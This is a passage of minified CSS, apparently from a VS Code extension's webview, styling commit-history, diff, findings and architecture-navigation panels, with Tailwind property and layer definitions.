code{color:inherit;font-family:var(--compass-font-mono)}.history-commit-byline span{text-overflow:ellipsis;overflow:hidden}.history-commit-byline time{margin-left:auto}.history-content{background:var(--vscode-editor-background,var(--background));min-width:0;min-height:0;padding:16px;overflow:auto}.history-commit-details{border:1px solid var(--border);background:var(--vscode-editor-background,var(--background));padding:14px}.history-commit-heading{justify-content:space-between;align-items:flex-start;gap:16px;display:flex}.history-commit-copy{min-width:0}.history-eyebrow{color:var(--muted-foreground);letter-spacing:.06em;text-transform:uppercase;font-size:10px;font-weight:600;display:block}.history-commit-copy h2{overflow-wrap:anywhere;margin:4px 0 0;font-size:16px;font-weight:600;line-height:1.35}.history-commit-metadata{color:var(--muted-foreground);flex-wrap:wrap;gap:4px 12px;margin-top:7px;font-size:11px;display:flex}.history-commit-metadata code{color:var(--vscode-textLink-foreground,var(--workbench-link));font-family:var(--compass-font-mono)}.history-state-badge{text-transform:capitalize;border-radius:2px;flex:none}.history-commit-actions,.history-change-counts{flex-wrap:wrap;gap:6px;margin-top:12px;display:flex}.history-change-counts-help{color:var(--vscode-descriptionForeground,#9aa7b7);margin:-.15rem 0 0;font-size:.78rem;line-height:1.45}.history-commit-actions:empty{display:none}.history-commit-actions button{border-radius:2px}.history-comparison-help,.history-inline-error{color:var(--muted-foreground);margin:9px 0 0;font-size:11px;line-height:1.45}.history-inline-error{color:var(--destructive)}.history-change-counts{color:var(--muted-foreground);font-size:11px}.history-change-counts span{border:1px solid var(--border);background:var(--vscode-badge-background,var(--muted));color:var(--vscode-badge-foreground,var(--foreground));border-radius:2px;padding:3px 6px}.history-change-counts strong{font-weight:600}.history-comparison,.history-diff-evidence{border:1px solid var(--border);background:var(--vscode-editor-background,var(--background));color:var(--vscode-editor-foreground,var(--foreground));margin-top:12px}.history-comparison{box-shadow:inset 3px 0 0 var(--vscode-focusBorder,var(--ring))}.history-comparison-heading{grid-template-columns:18px minmax(0,1fr) auto;align-items:start;gap:8px;padding:11px 12px 9px;display:grid}.history-comparison-heading>svg,.history-diff-heading>svg{width:15px;height:15px;color:var(--vscode-focusBorder,var(--ring));margin-top:2px}.history-comparison-heading h2{color:var(--vscode-editor-foreground,var(--foreground));margin:2px 0 0;font-size:13px;font-weight:600}.history-comparison-heading code{color:var(--vscode-textLink-foreground,var(--workbench-link));font-family:var(--compass-font-mono);background:0 0}.history-comparison-heading button{border:1px solid var(--border);min-height:26px;color:var(--foreground);background:0 0;border-radius:2px;align-items:center;gap:5px;padding:3px 7px;font-size:10px;display:inline-flex}.history-comparison-heading button:hover{border-color:var(--vscode-focusBorder,var(--ring));background:var(--workbench-hover)}.history-comparison-heading button svg{width:12px;height:12px}.history-comparison-legend{font:10px/1.4 var(--compass-font-mono);flex-wrap:wrap;gap:6px;padding:0 12px 10px 38px;display:flex}.history-delta-card{border:1px solid var(--border);background:var(--vscode-editor-foreground,var(--foreground));border-radius:2px;gap:4px;min-width:200px;padding:6px 8px;display:grid}@supports (color:color-mix(in lab,red,red)){.history-delta-card{background:color-mix(in srgb,var(--vscode-editor-foreground,var(--foreground)) 5%,var(--vscode-editor-background,var(--background)))}}.history-delta-card{color:var(--vscode-editor-foreground,var(--foreground))}.history-delta-card>span{flex-wrap:wrap;gap:5px 10px;display:flex}.history-delta-card strong{color:var(--vscode-editor-foreground,var(--foreground));text-transform:capitalize}.history-delta-card i{font-style:normal;font-weight:600}.history-delta-card i small{color:var(--muted-foreground);font-size:9px;font-weight:400}.history-delta-card i[data-change=added]{color:var(--vscode-gitDecoration-addedResourceForeground,#2ea043)}.history-delta-card i[data-change=removed]{color:var(--vscode-gitDecoration-deletedResourceForeground,#f85149)}.history-delta-card i[data-change=changed]{color:var(--vscode-gitDecoration-modifiedResourceForeground,#d29922)}.history-comparison-empty{border-top:1px solid var(--border);color:var(--muted-foreground);gap:2px;padding:9px 12px 10px 38px;font-size:11px;display:grid}.history-comparison-empty strong{color:var(--foreground);font-size:12px}.history-comparison-workspace{border:1px solid var(--border);background:var(--vscode-editor-background,var(--background));min-width:0;color:var(--vscode-editor-foreground,var(--foreground));margin-top:12px;overflow:hidden}.history-comparison-tabs{border-bottom:1px solid var(--border);background:var(--vscode-editorGroupHeader-tabsBackground,var(--vscode-sideBar-background,var(--background)));scrollbar-width:thin;min-width:0;display:flex;overflow-x:auto}.history-comparison-tabs button{border:0;border-right:1px solid var(--border);min-width:max-content;min-height:41px;color:var(--vscode-tab-inactiveForeground,var(--muted-foreground));font:11px/1 var(--compass-font-sans);background:0 0;align-items:center;gap:7px;padding:0 14px;display:inline-flex;position:relative}.history-comparison-tabs button:hover{background:var(--workbench-hover);color:var(--vscode-tab-activeForeground,var(--foreground))}.history-comparison-tabs button[aria-selected=true]{background:var(--vscode-tab-activeBackground,var(--vscode-editor-background,var(--background)));color:var(--vscode-tab-activeForeground,var(--foreground));box-shadow:inset 0 2px 0 var(--vscode-tab-activeBorder,var(--vscode-focusBorder,var(--ring)))}.history-comparison-tabs button:focus-visible{z-index:1;outline:1px solid var(--vscode-focusBorder,var(--ring));outline-offset:-2px}.history-comparison-tabs button>svg{width:14px;height:14px;color:var(--vscode-focusBorder,var(--ring))}.history-comparison-tab-count{border:1px solid var(--border);background:var(--vscode-badge-background,var(--muted));min-width:19px;height:19px;color:var(--vscode-badge-foreground,var(--foreground));font:9px/1 var(--compass-font-mono);border-radius:9px;justify-content:center;align-items:center;padding:0 5px;display:inline-flex}.history-comparison-tab-panel{background:var(--vscode-editor-background,var(--background));min-width:0}.history-evidence-panel{min-width:0;padding:15px 15px 17px}.history-evidence-header{border-bottom:1px solid var(--border);padding-bottom:12px}.history-evidence-header>p,.history-findings-header>div>p{color:var(--muted-foreground);margin:4px 0 0 22px;font-size:11px;line-height:1.45}.history-diff-heading{align-items:center;gap:7px;display:flex}.history-diff-heading h2{margin:0;font-size:13px;font-weight:600}.history-findings-header{justify-content:space-between;align-items:flex-start;gap:16px;display:flex}.history-findings-expand{border:1px solid var(--border);min-height:27px;color:var(--foreground);background:0 0;border-radius:2px;flex:none;padding:4px 9px;font-size:10px}.history-findings-expand:hover{border-color:var(--vscode-focusBorder,var(--ring));background:var(--workbench-hover)}.history-source-changes{gap:6px;margin-top:12px;display:grid}.history-source-changes details{border:1px solid var(--border);background:var(--vscode-editor-background,var(--background));color:var(--vscode-editor-foreground,var(--foreground));border-radius:2px;overflow:hidden}.history-diff-toolbar{align-items:center;gap:6px;margin-top:12px;display:flex}.history-diff-layout{border:1px solid var(--border);border-radius:2px;display:inline-flex;overflow:hidden}.history-diff-toolbar button{min-height:25px;color:var(--muted-foreground);background:0 0;border:0;padding:3px 8px;font-size:10px}.history-diff-layout button+button{border-left:1px solid var(--border)}.history-diff-toolbar button:hover:not(:disabled){background:var(--workbench-hover);color:var(--foreground)}.history-diff-toolbar button[aria-pressed=true],.history-diff-toolbar button[aria-pressed=true]:hover{background:var(--vscode-tab-activeBackground,var(--vscode-editor-background,var(--background)));color:var(--vscode-tab-activeForeground,var(--vscode-editor-foreground,var(--foreground)));box-shadow:inset 0 2px 0 var(--vscode-tab-activeBorder,var(--vscode-focusBorder,var(--ring)))}.history-diff-toolbar button:disabled{cursor:not-allowed;opacity:.45}.history-diff-wrap{min-height:25px;color:var(--muted-foreground);align-items:center;gap:5px;font-size:10px;display:inline-flex}.history-diff-wrap input{margin:0}.history-diff-expand{border-radius:2px;margin-left:auto;border:1px solid var(--border)!important}.history-source-changes summary{cursor:pointer;border-bottom:1px solid var(--border);background:var(--vscode-editorGroupHeader-tabsBackground,var(--background));justify-content:space-between;align-items:center;gap:10px;padding:6px 8px;font-size:10px;display:flex}.history-source-path{align-items:center;gap:8px;min-width:0;display:inline-flex}.history-source-path code{color:var(--vscode-textLink-foreground,var(--workbench-link));font-family:var(--compass-font-mono);text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.history-source-path small{color:var(--muted-foreground);text-transform:capitalize;font-size:9px}.history-source-stats{font-family:var(--compass-font-mono);flex:none;gap:6px;display:inline-flex}.history-source-stats i{font-style:normal;font-weight:600}.history-source-stats i[data-change=added]{color:var(--vscode-gitDecoration-addedResourceForeground,#2ea043)}.history-source-stats i[data-change=removed]{color:var(--vscode-gitDecoration-deletedResourceForeground,#f85149)}.history-source-diff{contain:inline-size;background:var(--vscode-editor-background,var(--background));width:100%;min-width:0;max-width:100%;display:block}.history-diff-fallback>p{border-bottom:1px solid var(--border);color:var(--vscode-gitDecoration-modifiedResourceForeground,#d29922);margin:0;padding:7px 8px}.history-diff-fallback pre{max-height:260px;color:var(--vscode-editor-foreground,var(--foreground));font:10px/1.5 var(--compass-font-mono);white-space:pre;margin:0;padding:8px;overflow:auto}.history-source-changes p,.history-diff-empty{color:var(--muted-foreground);margin:12px 0 0;font-size:11px}.history-finding-list{gap:10px;margin-top:14px;display:grid}.history-finding-list details{border:1px solid var(--border);background:var(--vscode-editor-foreground,var(--foreground));border-radius:4px;overflow:hidden}@supports (color:color-mix(in lab,red,red)){.history-finding-list details{background:color-mix(in srgb,var(--vscode-editor-foreground,var(--foreground)) 2%,var(--vscode-editor-background,var(--background)))}}.history-finding-list details{color:var(--vscode-editor-foreground,var(--foreground))}.history-finding-list details[open]{border-color:var(--vscode-focusBorder,var(--ring))}@supports (color:color-mix(in lab,red,red)){.history-finding-list details[open]{border-color:color-mix(in srgb,var(--vscode-focusBorder,var(--ring)) 58%,var(--border))}}.history-finding-list details[open]{box-shadow:inset 3px 0 0 var(--vscode-focusBorder,var(--ring))}.history-finding-list summary{cursor:pointer;grid-template-columns:28px minmax(0,1fr) 16px;align-items:center;gap:11px;min-height:58px;padding:11px 13px;list-style:none;display:grid}.history-finding-list summary::-webkit-details-marker{display:none}.history-finding-list summary:hover{background:var(--workbench-hover)}.history-finding-list summary:focus-visible{outline:1px solid var(--vscode-focusBorder,var(--ring));outline-offset:-2px}.history-finding-index{border:1px solid var(--border);background:var(--vscode-editor-background,var(--background));width:27px;height:27px;color:var(--vscode-focusBorder,var(--ring));font:600 10px/1 var(--compass-font-mono);border-radius:3px;justify-content:center;align-items:center;display:inline-flex}.history-finding-summary{gap:4px;min-width:0;display:grid}.history-finding-summary strong{text-overflow:ellipsis;white-space:nowrap;font-size:12px;font-weight:600;line-height:1.35;overflow:hidden}.history-finding-summary small{color:var(--muted-foreground);font-size:10px}.history-finding-list summary>svg{width:15px;height:15px;color:var(--muted-foreground);transition:transform .12s}.history-finding-list details[open] summary>svg{transform:rotate(90deg)}.history-finding-body{border-top:1px solid var(--border);padding:0 14px 15px 52px}.history-finding-body>p{color:var(--muted-foreground);margin:13px 0 0;font-size:11px}.history-finding-body dl{gap:0;margin:0;display:grid}.history-finding-body dl>div{border-bottom:1px solid var(--border);grid-template-columns:minmax(110px,170px) minmax(0,1fr);gap:16px;padding:12px 0;display:grid}.history-finding-body dl>div:last-child{border-bottom:0;padding-bottom:0}.history-finding-body dt{color:var(--muted-foreground);letter-spacing:.06em;text-transform:uppercase;font-size:9px;font-weight:600}.history-finding-body dd{min-width:0;margin:0;font-size:11px;line-height:1.5}.history-finding-body dd ul{gap:5px;margin:0;padding-left:17px;display:grid}.history-finding-body dd pre{border:1px solid var(--border);background:var(--vscode-textCodeBlock-background,var(--muted));max-height:280px;color:var(--vscode-editor-foreground,var(--foreground));font:10px/1.55 var(--compass-font-mono);white-space:pre-wrap;border-radius:3px;margin:0;padding:9px 10px;overflow:auto}.history-finding-body dd code{font-family:var(--compass-font-mono)}.history-finding-muted{color:var(--muted-foreground);font-style:italic}.history-findings-empty{border:1px dashed var(--border);color:var(--muted-foreground);border-radius:4px;align-items:flex-start;gap:10px;margin-top:14px;padding:15px;display:flex}.history-findings-empty>svg{width:17px;height:17px;color:var(--vscode-focusBorder,var(--ring))}.history-findings-empty strong{color:var(--foreground);font-size:12px}.history-findings-empty p{margin:4px 0 0;font-size:11px}.history-standalone-evidence{gap:12px;margin-top:12px;display:grid}.history-standalone-evidence>section{border:1px solid var(--border);background:var(--vscode-editor-background,var(--background))}.history-graph-frame{border:1px solid var(--border);background:var(--vscode-editor-background,var(--background));height:max(400px,100vh - 190px);min-height:360px;margin-top:12px;display:grid;overflow:hidden}.history-graph-frame-tabbed{border:0;height:max(460px,100vh - 230px);min-height:420px;margin-top:0}.history-graph-ready,.history-graph-canvas{min-width:0;min-height:0}.history-graph-ready{flex-direction:column;display:flex}.history-graph-status{border-bottom:1px solid var(--border);background:var(--vscode-editorGroupHeader-tabsBackground,var(--background));min-height:30px;color:var(--muted-foreground);flex:none;padding:7px 10px;font-size:11px}.history-graph-status span{color:var(--foreground);font-family:var(--compass-font-mono)}.history-graph-canvas{isolation:isolate;flex:1;position:relative}.history-graph-canvas .compass-workspace{height:100%;min-height:0}.history-content>section:last-child{margin-top:12px}body.vscode-high-contrast .history-sidebar,body.vscode-high-contrast-light .history-sidebar,body.vscode-high-contrast .history-commit-details,body.vscode-high-contrast-light .history-commit-details,body.vscode-high-contrast .history-graph-frame,body.vscode-high-contrast-light .history-graph-frame,body.vscode-high-contrast .history-comparison,body.vscode-high-contrast-light .history-comparison,body.vscode-high-contrast .history-diff-evidence,body.vscode-high-contrast-light .history-diff-evidence,body.vscode-high-contrast .history-comparison-workspace,body.vscode-high-contrast-light .history-comparison-workspace,body.vscode-high-contrast .history-finding-list details,body.vscode-high-contrast-light .history-finding-list details,body.vscode-high-contrast .history-source-changes details,body.vscode-high-contrast-light .history-source-changes details,body.vscode-high-contrast .history-change-counts span,body.vscode-high-contrast-light .history-change-counts span,body.vscode-high-contrast .compass-change-legend,body.vscode-high-contrast-light .compass-change-legend,body.vscode-high-contrast .compass-change-badge,body.vscode-high-contrast-light .compass-change-badge{border-color:var(--vscode-contrastBorder,var(--ring));border-width:2px}@media(max-width:760px){.query-header{padding:10px}.query-heading-row,.query-composer{flex-direction:column;align-items:stretch}.query-mode{align-self:flex-start}.history-diff-toolbar{flex-wrap:wrap}.history-diff-expand{margin-left:0}.history-comparison-tabs button{min-height:39px;padding-inline:11px}.history-evidence-panel{padding:12px}.history-findings-header{flex-direction:column;align-items:stretch}.history-findings-expand{align-self:flex-start}.history-finding-body{padding-left:14px}.history-finding-body dl>div{grid-template-columns:1fr;gap:5px}.query-composer-footer{flex-wrap:wrap}.query-params{flex:1 0 100%;max-width:none}.query-params input{max-width:none}.query-footer-actions{justify-content:flex-end;width:100%}.query-examples{padding-bottom:2px}.compass-load-shell[data-variant=architecture]{text-align:center;grid-template-rows:auto auto auto;grid-template-columns:1fr}.compass-load-shell[data-variant=architecture] .compass-load-visual,.compass-load-shell[data-variant=architecture] .compass-load-copy,.architecture-load-skeleton{grid-column:1}.compass-load-shell[data-variant=architecture] .compass-load-visual{margin:0 auto}.compass-load-shell[data-variant=architecture] .compass-load-steps{justify-content:center}.architecture-load-skeleton{grid-row:3;width:min(88vw,460px);height:190px;margin-top:14px}.history-shell{grid-template-rows:auto minmax(0,1fr);grid-template-columns:1fr}.history-sidebar{border-right:0;border-bottom:1px solid var(--border)}.history-sidebar-header{padding:10px}.history-title p,.history-search,.history-rail{display:none}.history-mobile-select{color:var(--muted-foreground);gap:4px;margin-top:9px;font-size:10px;display:grid}.history-mobile-select select{padding:4px 7px}.history-content{padding:10px}.history-commit-heading{gap:8px}.history-commit-metadata{gap:3px;display:grid}.history-graph-frame{height:max(750px,102vh + 30px);margin-top:10px}.history-graph-canvas .compass-workspace{height:auto;min-height:max(720px,102vh)}}@media(max-width:420px){.query-params{flex-direction:column;align-items:stretch;gap:4px}.query-params input{flex:none;width:100%}}.architecture-nav{border-right:1px solid var(--border);background:var(--sidebar);min-height:0;color:var(--sidebar-foreground);flex-direction:column;display:flex}.architecture-nav-header{border-bottom:1px solid var(--border);padding:14px 14px 12px}.architecture-nav-header>span,.architecture-eyebrow{color:var(--muted-foreground);letter-spacing:.08em;text-transform:uppercase;font-size:10px;font-weight:600;display:block}.architecture-nav-header h1{text-overflow:ellipsis;white-space:nowrap;margin:4px 0 0;font-size:13px;font-weight:600;line-height:1.35;overflow:hidden}.architecture-section-list{flex:1;min-height:0;padding:5px;overflow:auto}.architecture-section-list>button{width:100%;min-height:48px;color:inherit;text-align:left;background:0 0;border:1px solid #0000;border-radius:3px;grid-template-columns:18px minmax(0,1fr);align-items:start;gap:7px;padding:7px 8px;display:grid}.architecture-section-list>button:hover{background:var(--workbench-hover);color:var(--workbench-hover-foreground)}.architecture-section-list>button[aria-current=page]{border-color:var(--vscode-list-activeSelectionBackground,var(--sidebar-primary));background:var(--sidebar-accent);color:var(--sidebar-accent-foreground)}.architecture-section-list svg{width:14px;height:14px;margin-top:2px}.architecture-section-list strong,.architecture-section-list small{text-overflow:ellipsis;white-space:nowrap;display:block;overflow:hidden}.architecture-section-list strong{font-size:12px;font-weight:500}.architecture-section-list small{color:var(--muted-foreground);margin-top:2px;font-size:10px}.architecture-section-list>button[aria-current=page] small{color:inherit;opacity:.78}.architecture-stats{border-top:1px solid var(--border);color:var(--muted-foreground);text-align:center;grid-template-columns:repeat(3,1fr);gap:1px;padding:8px 6px;font-size:9px;display:grid}.architecture-stats strong{color:var(--sidebar-foreground);margin-bottom:1px;font-size:11px;display:block}.architecture-main{min-width:0;padding:14px clamp(14px,2.2vw,24px) 32px;overflow:auto}.architecture-global-search{z-index:20;max-width:760px;margin:0 auto 18px;position:sticky;top:0}.architecture-global-search>label{align-items:center;display:flex;position:relative}.architecture-global-search>label>svg{width:15px;height:15px;color:var(--vscode-input-placeholderForeground,var(--muted-foreground));position:absolute;left:10px}.architecture-global-search input{border:1px solid var(--vscode-input-border,var(--border));background:var(--vscode-input-background,var(--input));width:100%;height:34px;color:var(--vscode-input-foreground,var(--foreground));font:inherit;border-radius:3px;outline:none;padding:5px 84px 5px 33px;font-size:12px}.architecture-global-search input:focus-visible{border-color:var(--ring);outline:1px solid var(--ring);outline-offset:-1px}.architecture-global-search label>span{color:var(--muted-foreground);font-size:10px;position:absolute;right:8px}.architecture-search-results{border:1px solid var(--vscode-menu-border,var(--border));background:var(--vscode-menu-background,var(--popover));max-height:min(440px,65vh);color:var(--vscode-menu-foreground,var(--popover-foreground));box-shadow:0 4px 12px var(--vscode-widget-shadow,#00000047);border-radius:3px;position:absolute;top:calc(100% + 2px);left:0;right:0;overflow:auto}.architecture-search-results>p{color:var(--muted-foreground);margin:0;padding:14px;font-size:12px}.architecture-search-results section+section{border-top:1px solid var(--vscode-menu-separatorBackground,var(--border))}.architecture-search-results h2{color:var(--muted-foreground);letter-spacing:.06em;text-transform:uppercase;margin:0;padding:7px 10px 4px;font-size:10px;font-weight:600}.architecture-search-results button{width:100%;color:inherit;text-align:left;background:0 0;border:0;padding:6px 10px;display:block}.architecture-search-results button:hover,.architecture-search-results button:focus-visible{background:var(--vscode-menu-selectionBackground,var(--vscode-list-activeSelectionBackground,var(--accent)));color:var(--vscode-menu-selectionForeground,var(--vscode-list-activeSelectionForeground,var(--accent-foreground)));outline:none}.architecture-search-results button span,.architecture-search-results button small{text-overflow:ellipsis;white-space:nowrap;display:block;overflow:hidden}.architecture-search-results button span{font-size:12px}.architecture-search-results button small{color:inherit;opacity:.72;margin-top:2px;font-size:10px}.architecture-overview,.architecture-detail{max-width:1500px;margin-left:auto;margin-right:auto}.architecture-detail{margin-top:26px}.architecture-section-heading{justify-content:space-between;align-items:flex-start;gap:12px;margin-bottom:10px;display:flex}.architecture-section-heading h2{margin:0;font-size:15px;font-weight:600;line-height:1.35}.architecture-section-heading p{color:var(--muted-foreground);margin:3px 0 0;font-size:11px}.architecture-detail-count{color:var(--muted-foreground);white-space:nowrap;font-size:11px}.architecture-flow-grid,.architecture-symbol-grid{grid-template-columns:repeat(auto-fill,minmax(260px,1fr));gap:6px;display:grid}.architecture-flow{border:1px solid var(--border);background:var(--vscode-editorWidget-background,var(--card));min-width:0;min-height:38px;color:var(--foreground);font:inherit;text-align:left;border-radius:3px;grid-template-columns:minmax(0,1fr) 14px minmax(0,1fr) auto;align-items:center;gap:6px;padding:6px 8px;font-size:11px;display:grid}.architecture-flow:hover{border-color:var(--vscode-focusBorder,var(--ring));background:var(--workbench-hover)}.architecture-flow>span{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.architecture-flow>svg{width:13px;height:13px;color:var(--muted-foreground)}.architecture-flow-footer{justify-content:space-between;align-items:center;gap:10px;margin-top:8px;display:flex}.architecture-flow-footer p{color:var(--muted-foreground);margin:0;font-size:10px}.architecture-flow-footer button{border:1px solid var(--border);color:var(--foreground);font:inherit;background:0 0;border-radius:3px;padding:3px 7px;font-size:10px}.architecture-tab-content{min-height:280px;padding-top:8px}.architecture-detail [data-slot=tabs-list]{border-bottom:1px solid var(--border);justify-content:flex-start;gap:0;width:100%;height:30px;padding:0}.architecture-detail [data-slot=tabs-trigger]{min-width:76px;height:30px;color:var(--muted-foreground);border-radius:0;flex:none;padding:4px 10px;font-size:11px;font-weight:500}.architecture-detail [data-slot=tabs-trigger][data-state=active]{color:var(--foreground)}.architecture-detail [data-slot=tabs-trigger]>span{background:var(--vscode-badge-background,var(--muted));min-width:22px;color:var(--vscode-badge-foreground,var(--muted-foreground));font:9px/1.4 var(--compass-font-mono);border-radius:9px;margin-left:4px;padding:1px 5px}.architecture-detail [data-slot=tabs-trigger][data-state=active]>span{color:var(--vscode-badge-foreground,var(--foreground))}.architecture-detail [data-slot=tabs-trigger]:after{background:var(--vscode-tab-activeBorder,var(--ring));bottom:-1px}.architecture-symbol-grid{grid-template-columns:repeat(auto-fill,minmax(210px,1fr));margin-top:8px}.architecture-symbol-card{border:1px solid var(--border);background:var(--vscode-editorWidget-background,var(--card));min-width:0;min-height:92px;color:var(--card-foreground);border-radius:3px;grid-template-rows:auto 1fr;grid-template-columns:18px minmax(0,1fr);gap:0 7px;padding:9px;display:grid}.architecture-symbol-card>svg{width:15px;height:15px;color:var(--vscode-symbolIcon-functionForeground,var(--muted-foreground));margin-top:1px}.architecture-symbol-card h3,.architecture-symbol-card p{text-overflow:ellipsis;white-space:nowrap;margin:0;overflow:hidden}.architecture-symbol-card h3{color:var(--vscode-editor-foreground,var(--foreground));font-size:12px;font-weight:600}.architecture-symbol-card p{color:var(--muted-foreground);margin-top:2px;font-size:10px}.architecture-symbol-card>button,.architecture-symbol-card>span{color:var(--workbench-link);font:10px/1.35 var(--compass-font-mono);text-align:left;text-overflow:ellipsis;white-space:nowrap;background:0 0;border:0;grid-column:1/span 2;align-self:end;margin-top:9px;padding:0;overflow:hidden}.architecture-symbol-card>button:hover{text-decoration:underline}.architecture-symbol-card>span{color:var(--vscode-disabledForeground,var(--compass-faint))}.architecture-call-table{border:1px solid var(--border);border-radius:3px;max-height:min(54vh,620px);margin-top:8px;overflow:auto}.architecture-call-table table{border-collapse:collapse;table-layout:fixed;width:100%;min-width:620px;font-size:11px}.architecture-call-table thead{z-index:2;background:var(--workbench-table-header);position:sticky;top:0}.architecture-call-table th,.architecture-call-table td{border-bottom:1px solid var(--border);text-align:left;text-overflow:ellipsis;white-space:nowrap;padding:7px 9px;overflow:hidden}.architecture-call-table th{color:var(--muted-foreground);padding:0;font-weight:500}.architecture-call-table th button{width:100%;min-height:30px;color:inherit;font:inherit;text-align:left;background:0 0;border:0;align-items:center;gap:5px;padding:6px 9px;display:flex}.architecture-call-table th button:hover{background:var(--workbench-hover);color:var(--foreground)}.architecture-call-table tbody tr:hover{background:var(--workbench-hover)}.architecture-call-table tr:last-child td{border-bottom:0}.architecture-call-table th:nth-child(2),.architecture-call-table th:nth-child(4),.architecture-call-table td:nth-child(2),.architecture-call-table td:nth-child(4){width:126px}.architecture-shell button:focus-visible,.architecture-shell input:focus-visible{outline:2px solid var(--ring);outline-offset:1px}body.vscode-high-contrast .architecture-section-list>button[aria-current=page],body.vscode-high-contrast-light .architecture-section-list>button[aria-current=page],body.vscode-high-contrast .architecture-flow:focus-visible,body.vscode-high-contrast-light .architecture-flow:focus-visible,body.vscode-high-contrast .architecture-symbol-card,body.vscode-high-contrast-light .architecture-symbol-card,body.vscode-high-contrast .architecture-call-table,body.vscode-high-contrast-light .architecture-call-table{border-width:2px;border-color:var(--vscode-contrastBorder,var(--ring))}@media(max-width:760px){.architecture-shell{grid-template-rows:auto 1fr;grid-template-columns:1fr}.architecture-nav{border-right:0;border-bottom:1px solid var(--border);max-height:38vh}.architecture-main{padding:10px 10px 24px}.architecture-global-search{margin-bottom:14px}.architecture-section-heading{align-items:flex-start}.architecture-flow-grid,.architecture-symbol-grid{grid-template-columns:1fr}.architecture-flow-footer,.workbench-pagination{flex-direction:column;align-items:flex-start}.workbench-collection-toolbar{flex-direction:column;align-items:stretch}.workbench-search{width:100%;max-width:none}}@property --tw-translate-x{syntax:"*";inherits:false;initial-value:0}@property --tw-translate-y{syntax:"*";inherits:false;initial-value:0}@property --tw-translate-z{syntax:"*";inherits:false;initial-value:0}@property --tw-border-style{syntax:"*";inherits:false;initial-value:solid}@property --tw-font-weight{syntax:"*";inherits:false}@property --tw-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-shadow-color{syntax:"*";inherits:false}@property --tw-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-inset-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-inset-shadow-color{syntax:"*";inherits:false}@property --tw-inset-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-ring-color{syntax:"*";inherits:false}@property --tw-ring-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-inset-ring-color{syntax:"*";inherits:false}@property --tw-inset-ring-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-ring-inset{syntax:"*";inherits:false}@property --tw-ring-offset-width{syntax:"";inherits:false;initial-value:0}@property --tw-ring-offset-color{syntax:"*";inherits:false;initial-value:#fff}@property --tw-ring-offset-shadow{syntax:"*";inherits:false;initial-value:0 0 #0000}@property --tw-outline-style{syntax:"*";inherits:false;initial-value:solid}@property --tw-blur{syntax:"*";inherits:false}@property --tw-brightness{syntax:"*";inherits:false}@property --tw-contrast{syntax:"*";inherits:false}@property --tw-grayscale{syntax:"*";inherits:false}@property --tw-hue-rotate{syntax:"*";inherits:false}@property --tw-invert{syntax:"*";inherits:false}@property --tw-opacity{syntax:"*";inherits:false}@property --tw-saturate{syntax:"*";inherits:false}@property --tw-sepia{syntax:"*";inherits:false}@property --tw-drop-shadow{syntax:"*";inherits:false}@property --tw-drop-shadow-color{syntax:"*";inherits:false}@property --tw-drop-shadow-alpha{syntax:"";inherits:false;initial-value:100%}@property --tw-drop-shadow-size{syntax:"*";inherits:false}@property --tw-backdrop-blur{syntax:"*";inherits:false}@property --tw-backdrop-brightness{syntax:"*";inherits:false}@property --tw-backdrop-contrast{syntax:"*";inherits:false}@property --tw-backdrop-grayscale{syntax:"*";inherits:false}@property --tw-backdrop-hue-rotate{syntax:"*";inherits:false}@property --tw-backdrop-invert{syntax:"*";inherits:false}@property --tw-backdrop-opacity{syntax:"*";inherits:false}@property --tw-backdrop-saturate{syntax:"*";inherits:false}@property --tw-backdrop-sepia{syntax:"*";inherits:false}@property --tw-content{syntax:"*";inherits:false;initial-value:""}@keyframes spin{to{transform:rotate(360deg)}}@keyframes pulse{50%{opacity:.5}}@keyframes enter{0%{opacity:var(--tw-enter-opacity,1);transform:translate3d(var(--tw-enter-translate-x,0),var(--tw-enter-translate-y,0),0)scale3d(var(--tw-enter-scale,1),var(--tw-enter-scale,1),var(--tw-enter-scale,1))rotate(var(--tw-enter-rotate,0));filter:blur(var(--tw-enter-blur,0))}}@keyframes exit{to{opacity:var(--tw-exit-opacity,1);transform:translate3d(var(--tw-exit-translate-x,0),var(--tw-exit-translate-y,0),0)scale3d(var(--tw-exit-scale,1),var(--tw-exit-scale,1),var(--tw-exit-scale,1))rotate(var(--tw-exit-rotate,0));filter:blur(var(--tw-exit-blur,0))}} +@layer properties{@supports (((-webkit-hyphens:none)) and (not (margin-trim:inline))) or ((-moz-orient:inline) and (not (color:rgb(from red r g b)))){*,:before,:after,::backdrop{--tw-translate-x:0;--tw-translate-y:0;--tw-translate-z:0;--tw-border-style:solid;--tw-font-weight:initial;--tw-shadow:0 0 #0000;--tw-shadow-color:initial;--tw-shadow-alpha:100%;--tw-inset-shadow:0 0 #0000;--tw-inset-shadow-color:initial;--tw-inset-shadow-alpha:100%;--tw-ring-color:initial;--tw-ring-shadow:0 0 #0000;--tw-inset-ring-color:initial;--tw-inset-ring-shadow:0 0 #0000;--tw-ring-inset:initial;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-offset-shadow:0 0 #0000;--tw-outline-style:solid;--tw-blur:initial;--tw-brightness:initial;--tw-contrast:initial;--tw-grayscale:initial;--tw-hue-rotate:initial;--tw-invert:initial;--tw-opacity:initial;--tw-saturate:initial;--tw-sepia:initial;--tw-drop-shadow:initial;--tw-drop-shadow-color:initial;--tw-drop-shadow-alpha:100%;--tw-drop-shadow-size:initial;--tw-backdrop-blur:initial;--tw-backdrop-brightness:initial;--tw-backdrop-contrast:initial;--tw-backdrop-grayscale:initial;--tw-backdrop-hue-rotate:initial;--tw-backdrop-invert:initial;--tw-backdrop-opacity:initial;--tw-backdrop-saturate:initial;--tw-backdrop-sepia:initial;--tw-content:"";--tw-animation-delay:0s;--tw-animation-direction:normal;--tw-animation-duration:initial;--tw-animation-fill-mode:none;--tw-animation-iteration-count:1;--tw-enter-blur:0;--tw-enter-opacity:1;--tw-enter-rotate:0;--tw-enter-scale:1;--tw-enter-translate-x:0;--tw-enter-translate-y:0;--tw-exit-blur:0;--tw-exit-opacity:1;--tw-exit-rotate:0;--tw-exit-scale:1;--tw-exit-translate-x:0;--tw-exit-translate-y:0}}}@layer 